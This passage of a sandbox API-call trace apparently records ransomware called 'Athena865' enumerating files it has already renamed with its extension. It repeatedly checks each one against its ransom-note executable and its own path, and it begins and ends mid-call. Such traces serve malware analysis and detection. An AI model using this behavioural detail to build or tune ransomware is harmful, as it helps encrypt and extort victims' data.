lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.358] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.358] lstrcpyW (in: lpString1=0x241e8d8, lpString2="JB7yzTWIUGM3Q.png.Athena865" | out: lpString1="JB7yzTWIUGM3Q.png.Athena865") returned="JB7yzTWIUGM3Q.png.Athena865" [0102.358] lstrlenW (lpString="JB7yzTWIUGM3Q.png.Athena865") returned 27 [0102.358] lstrlenW (lpString="Athena865") returned 9 [0102.358] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91593f50, ftCreationTime.dwHighDateTime=0x1d4c5fd, ftLastAccessTime.dwLowDateTime=0xace7e560, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0xc6669940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xd940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JWjQ.gif.Athena865", cAlternateFileName="JWJQGI~1.ATH")) returned 1 [0102.358] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.358] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.358] lstrcpyW (in: lpString1=0x241e8d8, lpString2="JWjQ.gif.Athena865" | out: lpString1="JWjQ.gif.Athena865") returned="JWjQ.gif.Athena865" [0102.358] lstrlenW (lpString="JWjQ.gif.Athena865") returned 18 [0102.358] lstrlenW (lpString="Athena865") returned 9 [0102.358] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.358] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b75500, ftCreationTime.dwHighDateTime=0x1d4c63e, ftLastAccessTime.dwLowDateTime=0x5c791be0, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0xc668faa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7de0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K644ujQtjWQA.jpg.Athena865", cAlternateFileName="K644UJ~1.ATH")) returned 1 [0102.358] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.358] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.358] lstrcpyW (in: lpString1=0x241e8d8, lpString2="K644ujQtjWQA.jpg.Athena865" | out: lpString1="K644ujQtjWQA.jpg.Athena865") returned="K644ujQtjWQA.jpg.Athena865" [0102.358] lstrlenW (lpString="K644ujQtjWQA.jpg.Athena865") returned 26 [0102.358] lstrlenW (lpString="Athena865") returned 9 [0102.358] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91a3090, ftCreationTime.dwHighDateTime=0x1d4c741, ftLastAccessTime.dwLowDateTime=0x57437550, ftLastAccessTime.dwHighDateTime=0x1d4cba8, ftLastWriteTime.dwLowDateTime=0xc668faa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x49b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M560XL.jpg.Athena865", cAlternateFileName="M560XL~1.ATH")) returned 1 [0102.359] lstrcmpiW (lpString1="M560XL.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.359] lstrcmpiW (lpString1="M560XL.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.359] lstrcpyW (in: lpString1=0x241e8d8, lpString2="M560XL.jpg.Athena865" | out: lpString1="M560XL.jpg.Athena865") returned="M560XL.jpg.Athena865" [0102.359] lstrlenW (lpString="M560XL.jpg.Athena865") returned 20 [0102.359] lstrlenW (lpString="Athena865") returned 9 [0102.359] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfbbbe50, ftCreationTime.dwHighDateTime=0x1d4d091, ftLastAccessTime.dwLowDateTime=0x647f64f0, ftLastAccessTime.dwHighDateTime=0x1d4c73d, ftLastWriteTime.dwLowDateTime=0xc66b5c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJDFYAWcq6yDy.png.Athena865", cAlternateFileName="MJDFYA~1.ATH")) returned 1 [0102.359] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.359] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.359] lstrcpyW (in: lpString1=0x241e8d8, lpString2="mJDFYAWcq6yDy.png.Athena865" | out: lpString1="mJDFYAWcq6yDy.png.Athena865") returned="mJDFYAWcq6yDy.png.Athena865" [0102.359] lstrlenW (lpString="mJDFYAWcq6yDy.png.Athena865") returned 27 [0102.359] lstrlenW (lpString="Athena865") returned 9 [0102.359] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb471a0, ftCreationTime.dwHighDateTime=0x1d4cf58, ftLastAccessTime.dwLowDateTime=0xd0d21220, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xc66b5c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xfbf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nJ8IVrMa642w.bmp.Athena865", cAlternateFileName="NJ8IVR~1.ATH")) returned 1 [0102.359] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.359] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.359] lstrcpyW (in: lpString1=0x241e8d8, lpString2="nJ8IVrMa642w.bmp.Athena865" | out: lpString1="nJ8IVrMa642w.bmp.Athena865") returned="nJ8IVrMa642w.bmp.Athena865" [0102.359] lstrlenW (lpString="nJ8IVrMa642w.bmp.Athena865") returned 26 [0102.359] lstrlenW (lpString="Athena865") returned 9 [0102.359] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.359] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7088b320, ftCreationTime.dwHighDateTime=0x1d4cbf5, ftLastAccessTime.dwLowDateTime=0xc78ed010, ftLastAccessTime.dwHighDateTime=0x1d4c9a1, ftLastWriteTime.dwLowDateTime=0xc66dbd60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nQTw2Rxk0zIkw5zS.gif.Athena865", cAlternateFileName="NQTW2R~1.ATH")) returned 1 [0102.359] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.359] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.359] lstrcpyW (in: lpString1=0x241e8d8, lpString2="nQTw2Rxk0zIkw5zS.gif.Athena865" | out: lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865") returned="nQTw2Rxk0zIkw5zS.gif.Athena865" [0102.359] lstrlenW (lpString="nQTw2Rxk0zIkw5zS.gif.Athena865") returned 30 [0102.359] lstrlenW (lpString="Athena865") returned 9 [0102.359] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572078d0, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0xc4fa8090, ftLastAccessTime.dwHighDateTime=0x1d4cb15, ftLastWriteTime.dwLowDateTime=0xc6701ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQaj- Y8eFM79sEi.jpg.Athena865", cAlternateFileName="OQAJ-Y~1.ATH")) returned 1 [0102.360] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.360] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.360] lstrcpyW (in: lpString1=0x241e8d8, lpString2="OQaj- Y8eFM79sEi.jpg.Athena865" | out: lpString1="OQaj- Y8eFM79sEi.jpg.Athena865") returned="OQaj- Y8eFM79sEi.jpg.Athena865" [0102.360] lstrlenW (lpString="OQaj- Y8eFM79sEi.jpg.Athena865") returned 30 [0102.360] lstrlenW (lpString="Athena865") returned 9 [0102.360] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17041e30, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x98a5fb00, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0xc6701ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oUH1_pI2itD4dpy_z8OI.jpg.Athena865", cAlternateFileName="OUH1_P~1.ATH")) returned 1 [0102.360] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.360] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.360] lstrcpyW (in: lpString1=0x241e8d8, lpString2="oUH1_pI2itD4dpy_z8OI.jpg.Athena865" | out: lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned="oUH1_pI2itD4dpy_z8OI.jpg.Athena865" [0102.360] lstrlenW (lpString="oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned 34 [0102.360] lstrlenW (lpString="Athena865") returned 9 [0102.360] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef872b0, ftCreationTime.dwHighDateTime=0x1d4c7d6, ftLastAccessTime.dwLowDateTime=0x84a16380, ftLastAccessTime.dwHighDateTime=0x1d4cc7b, ftLastWriteTime.dwLowDateTime=0xc6728020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb6d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pl8 rv9MiKs.jpg.Athena865", cAlternateFileName="PL8RV9~1.ATH")) returned 1 [0102.360] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.360] lstrcmpiW (lpString1="Pl8 rv9MiKs.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.360] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Pl8 rv9MiKs.jpg.Athena865" | out: lpString1="Pl8 rv9MiKs.jpg.Athena865") returned="Pl8 rv9MiKs.jpg.Athena865" [0102.360] lstrlenW (lpString="Pl8 rv9MiKs.jpg.Athena865") returned 25 [0102.360] lstrlenW (lpString="Athena865") returned 9 [0102.360] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da168d0, ftCreationTime.dwHighDateTime=0x1d4cca5, ftLastAccessTime.dwLowDateTime=0x6c9548f0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0xc674e180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x14810, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pWaepLE.png.Athena865", cAlternateFileName="PWAEPL~1.ATH")) returned 1 [0102.360] lstrcmpiW (lpString1="pWaepLE.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.360] lstrcmpiW (lpString1="pWaepLE.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.360] lstrcpyW (in: lpString1=0x241e8d8, lpString2="pWaepLE.png.Athena865" | out: lpString1="pWaepLE.png.Athena865") returned="pWaepLE.png.Athena865" [0102.360] lstrlenW (lpString="pWaepLE.png.Athena865") returned 21 [0102.360] lstrlenW (lpString="Athena865") returned 9 [0102.360] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5c1ea70, ftCreationTime.dwHighDateTime=0x1d4cd94, ftLastAccessTime.dwLowDateTime=0xcc9b8f70, ftLastAccessTime.dwHighDateTime=0x1d4d23a, ftLastWriteTime.dwLowDateTime=0xc679a440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf010, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qgINIqoMFF7bLoKfY.bmp.Athena865", cAlternateFileName="QGINIQ~1.ATH")) returned 1 [0102.361] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.361] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.361] lstrcpyW (in: lpString1=0x241e8d8, lpString2="qgINIqoMFF7bLoKfY.bmp.Athena865" | out: lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865") returned="qgINIqoMFF7bLoKfY.bmp.Athena865" [0102.361] lstrlenW (lpString="qgINIqoMFF7bLoKfY.bmp.Athena865") returned 31 [0102.361] lstrlenW (lpString="Athena865") returned 9 [0102.361] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.361] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c60b60, ftCreationTime.dwHighDateTime=0x1d4d4ff, ftLastAccessTime.dwLowDateTime=0x8ecad520, ftLastAccessTime.dwHighDateTime=0x1d4c722, ftLastWriteTime.dwLowDateTime=0xc67c05a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x14250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s9cQ52xVIt0iT_.gif.Athena865", cAlternateFileName="S9CQ52~1.ATH")) returned 1 [0102.361] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.361] lstrcmpiW (lpString1="s9cQ52xVIt0iT_.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.361] lstrcpyW (in: lpString1=0x241e8d8, lpString2="s9cQ52xVIt0iT_.gif.Athena865" | out: lpString1="s9cQ52xVIt0iT_.gif.Athena865") returned="s9cQ52xVIt0iT_.gif.Athena865" [0102.361] lstrlenW (lpString="s9cQ52xVIt0iT_.gif.Athena865") returned 28 [0102.361] lstrlenW (lpString="Athena865") returned 9 [0102.361] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.361] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ae3df0, ftCreationTime.dwHighDateTime=0x1d4ccb7, ftLastAccessTime.dwLowDateTime=0xea8e1cc0, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0xc67c05a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x47c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="suDg l.jpg.Athena865", cAlternateFileName="SUDGLJ~1.ATH")) returned 1 [0102.361] lstrcmpiW (lpString1="suDg l.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.361] lstrcmpiW (lpString1="suDg l.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.361] lstrcpyW (in: lpString1=0x241e8d8, lpString2="suDg l.jpg.Athena865" | out: lpString1="suDg l.jpg.Athena865") returned="suDg l.jpg.Athena865" [0102.361] lstrlenW (lpString="suDg l.jpg.Athena865") returned 20 [0102.361] lstrlenW (lpString="Athena865") returned 9 [0102.361] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.361] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f06d60, ftCreationTime.dwHighDateTime=0x1d4d29b, ftLastAccessTime.dwLowDateTime=0xadf510b0, ftLastAccessTime.dwHighDateTime=0x1d4d478, ftLastWriteTime.dwLowDateTime=0xc67e6700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5db0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tUA 7lQiLXUB.gif.Athena865", cAlternateFileName="TUA7LQ~1.ATH")) returned 1 [0102.361] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.361] lstrcmpiW (lpString1="tUA 7lQiLXUB.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.361] lstrcpyW (in: lpString1=0x241e8d8, lpString2="tUA 7lQiLXUB.gif.Athena865" | out: lpString1="tUA 7lQiLXUB.gif.Athena865") returned="tUA 7lQiLXUB.gif.Athena865" [0102.361] lstrlenW (lpString="tUA 7lQiLXUB.gif.Athena865") returned 26 [0102.361] lstrlenW (lpString="Athena865") returned 9 [0102.361] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.361] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9d7e0, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xa037bc30, ftLastAccessTime.dwHighDateTime=0x1d4cd97, ftLastWriteTime.dwLowDateTime=0xc680c860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UAIEO6U.jpg.Athena865", cAlternateFileName="UAIEO6~1.ATH")) returned 1 [0102.361] lstrcmpiW (lpString1="UAIEO6U.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.361] lstrcmpiW (lpString1="UAIEO6U.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.362] lstrcpyW (in: lpString1=0x241e8d8, lpString2="UAIEO6U.jpg.Athena865" | out: lpString1="UAIEO6U.jpg.Athena865") returned="UAIEO6U.jpg.Athena865" [0102.362] lstrlenW (lpString="UAIEO6U.jpg.Athena865") returned 21 [0102.362] lstrlenW (lpString="Athena865") returned 9 [0102.362] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.362] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb18be2b0, ftCreationTime.dwHighDateTime=0x1d4cb1a, ftLastAccessTime.dwLowDateTime=0x1f7fd970, ftLastAccessTime.dwHighDateTime=0x1d4ca94, ftLastWriteTime.dwLowDateTime=0xc680c860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc5b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V-I6Tk8WtrI.jpg.Athena865", cAlternateFileName="V-I6TK~1.ATH")) returned 1 [0102.362] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.362] lstrcmpiW (lpString1="V-I6Tk8WtrI.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.362] lstrcpyW (in: lpString1=0x241e8d8, lpString2="V-I6Tk8WtrI.jpg.Athena865" | out: lpString1="V-I6Tk8WtrI.jpg.Athena865") returned="V-I6Tk8WtrI.jpg.Athena865" [0102.362] lstrlenW (lpString="V-I6Tk8WtrI.jpg.Athena865") returned 25 [0102.362] lstrlenW (lpString="Athena865") returned 9 [0102.362] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.362] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34b0fc0, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0xe2a3b960, ftLastAccessTime.dwHighDateTime=0x1d4c5ff, ftLastWriteTime.dwLowDateTime=0xc68329c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ve-V1J95qqU3-IuMmgm7.png.Athena865", cAlternateFileName="VE-V1J~1.ATH")) returned 1 [0102.362] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.362] lstrcmpiW (lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.362] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Ve-V1J95qqU3-IuMmgm7.png.Athena865" | out: lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned="Ve-V1J95qqU3-IuMmgm7.png.Athena865" [0102.362] lstrlenW (lpString="Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned 34 [0102.362] lstrlenW (lpString="Athena865") returned 9 [0102.362] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.362] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912a0b70, ftCreationTime.dwHighDateTime=0x1d4d252, ftLastAccessTime.dwLowDateTime=0x9ee96940, ftLastAccessTime.dwHighDateTime=0x1d4c8c0, ftLastWriteTime.dwLowDateTime=0xc68329c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VKBs.jpg.Athena865", cAlternateFileName="VKBSJP~1.ATH")) returned 1 [0102.362] lstrcmpiW (lpString1="VKBs.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.362] lstrcmpiW (lpString1="VKBs.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.362] lstrcpyW (in: lpString1=0x241e8d8, lpString2="VKBs.jpg.Athena865" | out: lpString1="VKBs.jpg.Athena865") returned="VKBs.jpg.Athena865" [0102.362] lstrlenW (lpString="VKBs.jpg.Athena865") returned 18 [0102.362] lstrlenW (lpString="Athena865") returned 9 [0102.362] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.362] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e3d3b0, ftCreationTime.dwHighDateTime=0x1d4ce6f, ftLastAccessTime.dwLowDateTime=0x367fb2c0, ftLastAccessTime.dwHighDateTime=0x1d4c87e, ftLastWriteTime.dwLowDateTime=0xc68329c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W0wpgP-oU.gif.Athena865", cAlternateFileName="W0WPGP~1.ATH")) returned 1 [0102.362] lstrcmpiW (lpString1="W0wpgP-oU.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.362] lstrcmpiW (lpString1="W0wpgP-oU.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.362] lstrcpyW (in: lpString1=0x241e8d8, lpString2="W0wpgP-oU.gif.Athena865" | out: lpString1="W0wpgP-oU.gif.Athena865") returned="W0wpgP-oU.gif.Athena865" [0102.363] lstrlenW (lpString="W0wpgP-oU.gif.Athena865") returned 23 [0102.363] lstrlenW (lpString="Athena865") returned 9 [0102.363] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db9d910, ftCreationTime.dwHighDateTime=0x1d4cc87, ftLastAccessTime.dwLowDateTime=0xffe35790, ftLastAccessTime.dwHighDateTime=0x1d4cf66, ftLastWriteTime.dwLowDateTime=0xc6858b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16230, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ya3k0m2vT.gif.Athena865", cAlternateFileName="YA3K0M~1.ATH")) returned 1 [0102.363] lstrcmpiW (lpString1="Ya3k0m2vT.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.363] lstrcmpiW (lpString1="Ya3k0m2vT.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.363] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Ya3k0m2vT.gif.Athena865" | out: lpString1="Ya3k0m2vT.gif.Athena865") returned="Ya3k0m2vT.gif.Athena865" [0102.363] lstrlenW (lpString="Ya3k0m2vT.gif.Athena865") returned 23 [0102.363] lstrlenW (lpString="Athena865") returned 9 [0102.363] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2692cb0, ftCreationTime.dwHighDateTime=0x1d4c8b7, ftLastAccessTime.dwLowDateTime=0x5d107bb0, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0xc687ec80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zzgl j.gif.Athena865", cAlternateFileName="ZZGLJG~1.ATH")) returned 1 [0102.363] lstrcmpiW (lpString1="Zzgl j.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.363] lstrcmpiW (lpString1="Zzgl j.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.363] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Zzgl j.gif.Athena865" | out: lpString1="Zzgl j.gif.Athena865") returned="Zzgl j.gif.Athena865" [0102.363] lstrlenW (lpString="Zzgl j.gif.Athena865") returned 20 [0102.363] lstrlenW (lpString="Athena865") returned 9 [0102.363] lstrcmpiW 